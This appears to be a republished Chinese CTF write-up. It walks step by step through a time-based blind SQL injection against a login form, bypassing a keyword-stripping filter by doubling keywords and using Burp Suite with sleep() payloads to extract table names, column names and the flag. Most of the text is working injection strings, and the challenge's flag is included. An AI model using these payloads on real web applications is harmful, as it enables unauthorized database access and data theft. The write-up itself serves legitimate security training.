您好,欢迎来到华佗小知识。
搜索
您的当前位置:首页一次sql盲注实战_easysqlwriteup

一次sql盲注实战_easysqlwriteup

来源:华佗小知识
⼀次sql盲注实战_easysqlwriteup

⽬录

前⾔

朋友发我⼀道ctf web渗透题。需要渗透到数据库拿到正确flag并提交。

1.初步观察

随便输⼊账号密码发现页⾯回显了⼀段php代码,看样⼦是需要构造sql注⼊的字符串绕过waf函数检测实现sql注⼊。该waf函数会将select or等关键词替换成空⽩字符,防⽌sql注⼊。

2.查看请求

Fiddler抓包看看⽹络请求,可以发现这是⼀个基于form表单post请求的题⽬

3.猜解闭合⽅式

构造提交参数

' oor 1=1 #

页⾯正常响应,看来闭合⽅式不是单引号,这⾥将or写成oorr⽬的就是绕过waf拦截,该waf函数将or替换成\"\替换完后依然是or,所以绕过拦截。

构造提交参数

\" oorr 1=1 #

发现页⾯内容变成了 admin 35f1eeffabbb28113be22ca2eb810d6a

尝试⽤这个账号密码登录⼀下,发现⼀点卵⽤都没有,看来没有那么简单。

只能按照常规盲注⼿段⼀步⼀步往下⾛了。

4. 上Burp Suite

5.时间盲注数据库名长度

222 \" oorr if(length(database())=§len§,sleep(5),1) #

点击开始攻击后可以看到数据库名长度为7个字符

6.时间盲注数据库名称

222 \" oorr if(ascii(substring(database(),§index§,1))=§value§,sleep(5),1)#

对长度进⾏排序后得到数据库名是easysql

7.猜解数据库表数量

222 \" oorr if((sselectelect count(table_name) frroom infoorrmation_schema.tables wwherehere table_schema=database() )=§len§,sleep(2),1)#

得到数据库表数量为2

7.时间盲注第⼀个表表名长度

得到长度为4

222 \" oorr if(length(substr((sselectelect table_name frroom infoorrmation_schema.tables wwherehere table_schema=database() limit 0,1),1))=§len§,sleep(5),1)#

8.时间盲注第⼆个表表名长度

得到长度为5

222 \" oorr if(length(substr((sselectelect table_name frroom infoorrmation_schema.tables wwherehere table_schema=database() limit 1,2),1))=§len§,sleep(5),1)#

9.时间盲注第⼀个表表名

得到表名为 flag

222 \" oorr if(ascii(substr((sselectelect table_name frroom infoorrmation_schema.tables wwherehere table_schema=database() limit 0,1),§index§,1))=§value§,sleep(5),1)#

10.时间盲注第⼆个表名

得到第⼆个表表名为 users

222 \" oorr if(ascii(substr((sselectelect table_name frroom infoorrmation_schema.tables wwherehere table_schema=database() limit 1,2),§index§,1))=§value§,sleep(5),1)#

11.时间盲注flag表字段数量

由于我们最终的结果是拿到正确的flag,猜测flag存放在flag这张表⾥,所以我们接下来对flag表进⾏渗透。⾸先猜解flag表字段数量得到字段数量为2

222 \" oorr if((sselectelect count(column_name) frroom infoorrmation_schema.columns wwherehere table_name= 'fflaglag')=§len§,sleep(5),1) #

12.时间盲注flag表第⼀个字段名长度

得到长度为:2

222 \" oorr if(length(substr((sselectelect column_name frroom infoorrmation_schema.columns wwherehere table_name= 'fflaglag' limit 0,1),1))=§len§,sleep(1),1)#

13.时间盲注flag表第⼀个字段名称

得到第⼀个字段名为id

222 \" oorr if(ascii(substr((sselectelect column_name frroom infoorrmation_schema.columns wwherehere table_name= 'fflaglag' limit 0,1),§index§,1))=§value§,sleep(1),1)#

14.时间盲注flag表第⼆个字段名称

得到第⼆个字段名为flag

222 \" oorr if(ascii(substr((sselectelect column_name frroom infoorrmation_schema.columns wwherehere table_name= 'fflaglag' limit 1,2),§index§,1))=§value§,sleep(1),1)#

15.时间盲注flag表记录数

得到该表只有⼀条记录

222 \" oorr if((sselectelect count(*) frroom fflaglag)=§count§,sleep(3),1)#

16.时间盲注flag表flag字段数据长度

得到flag的值长度是38位

222 \" oorr if(length(substr((sselectelect fflaglag frroom fflaglag limit 0,1),1))=§len§,sleep(3),1)#

17.时间盲注flag值

flag{d7edeb1366bd99aa12d109c99267e37e}

222 \" oorr if(ascii(substr((sselectelect fflaglag frroom fflaglag limit 0,1),§index§,1))=§value§,sleep(3),1)#

因篇幅问题不能全部显示,请点此查看更多更全内容

Copyright © 2019- huatuo0.cn 版权所有 湘ICP备2023017654号-2

违法及侵权请联系:TEL:199 1889 7713 E-MAIL:2724546146@qq.com

本站由北京市万商天勤律师事务所王兴未律师提供法律服务